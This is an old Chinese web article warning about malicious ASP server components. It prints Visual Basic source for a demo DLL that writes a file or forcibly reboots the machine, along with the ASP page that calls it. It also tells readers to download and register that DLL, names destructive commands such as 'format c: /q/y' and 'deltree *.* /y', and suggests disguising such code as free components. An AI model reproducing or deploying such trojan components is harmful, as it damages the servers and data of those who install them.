top
Loading...
ASP組件中的安全問題

Microsoft推出的ASP(Active Server Page)以簡單、易用、功能多、可擴充性等強大功能得到了網友和大多數網管的喜愛,大有完全代替CGI的趨勢。但是我要對你說,如果使用ASP的話,你網絡的安全同時也大大降低了!

在我繼續說下去之前,請你完成以下步驟:
1.下載這個文件“http://home.gbsource.net/xuankong/dll.zip”,解壓縮后把其中的test.dll文件拷貝到“c:windowssystem”(如果你是使用NT的話,請拷貝到相應目錄);
2.接下來打開“開始/運行”菜單輸入“regsvr32 test.dll”命令;
3.拷貝解壓縮后的文件包中的那個index.asp到你的服務器目錄(如果你是使用PWS‘Personal Web Server’調試可以拷貝到“c:Inetpubwwwroot”,NT請拷貝到相應的目錄);
4.換一臺機器用IE瀏覽index.asp文件看一看(你看到的是出錯代碼,但是實際上程序已經運行了),你再返回你的機器看一看c:下是否多了一個文件?!一個名為“xuankong.dat”的文件(其實如果我愿意,你的c:autoexec.bat文件也可以被我打開并寫入一些什么“format c: /q/y”或者“deltree *.* /y”的命令,等你下次重新啟動機器。嘿嘿……)。

我們一起來看看到底是怎么一回事,你剛才拷貝的那些DLL文件其實是我使用Visul Basic 5.0開發的一個組件:
1.打開VB5.0新建一個“ActiveX dll”文件,把下面的代碼錄入進去。
Private Declare Function ExitWindowsEx Lib ″user32″ _
(ByVal uFlags As Long, ByVal dwReserved As Long) _
As Long

Sub xuankong()′請不要加上″private″
a$ = InputBox(″請輸入你的姓名,如果你的輸入是″xuankong″″ + Chr(13) + Chr(10) + ″則會在你的系統中生成一個″xuankong.dat″文件″ + Chr(10) + Chr(13) + ″否則的話你的機器可能重啟″, ″請輸入″, ″xuankong″)
If a$ = ″xuankong″ Then

Open ″c:xuankong.dat″ For Append As #1

Write #1, ″我的朋友,這是一個ASP組件的測試程序″

Write #1, ″hello world!This is a test″

Write #1, ″如果你看到這個文件表示測試成功!!!″

Else

ExitWindowsEx &H43, 0′使用API函數重新啟動機器

End If

Close #1 >

End Sub

2.把工程名改為dll,類模塊改為test,然后把這個工程生成DLL文件到c:windowssystem目錄下面。

3.新建一個index.asp文件把下面的代碼錄入進去。
$#@60;% set rs=server.createobject(″dll.test″)%$#@62;
$#@60;% set rs1=rs.xuankong rs1.execute %$#@62;

4.拷貝index.asp到你的服務器內,按照上面所述進行調試! 好了,如果你調試完成,有什么感覺???如果是使用VC++ 、Visual Java開發(它們開發出來的組件功能可更加強大);如果把上面的VB代碼改一下,加入到一些FTP組件、E-mail組件、HTTP組件、聊天室組件、計數器組件中……(凡是可以輸入/輸出的組件,沒法輸入/輸出的組件的破壞力有一定局限),再給這些組件加上一個好聽的名字“免費的……”你不上當嗎(嘿嘿!說不定你已經上當了,天下免費的東西可是好東西!!!*^v^*)?

上面所說的是ASP組件的安全問題!另外如果有些作者在寫ASP組件時不小心留下系統bug!那就更加不易被人發覺了!
作者:http://www.zhujiangroad.com
來源:http://www.zhujiangroad.com
北斗有巢氏 有巢氏北斗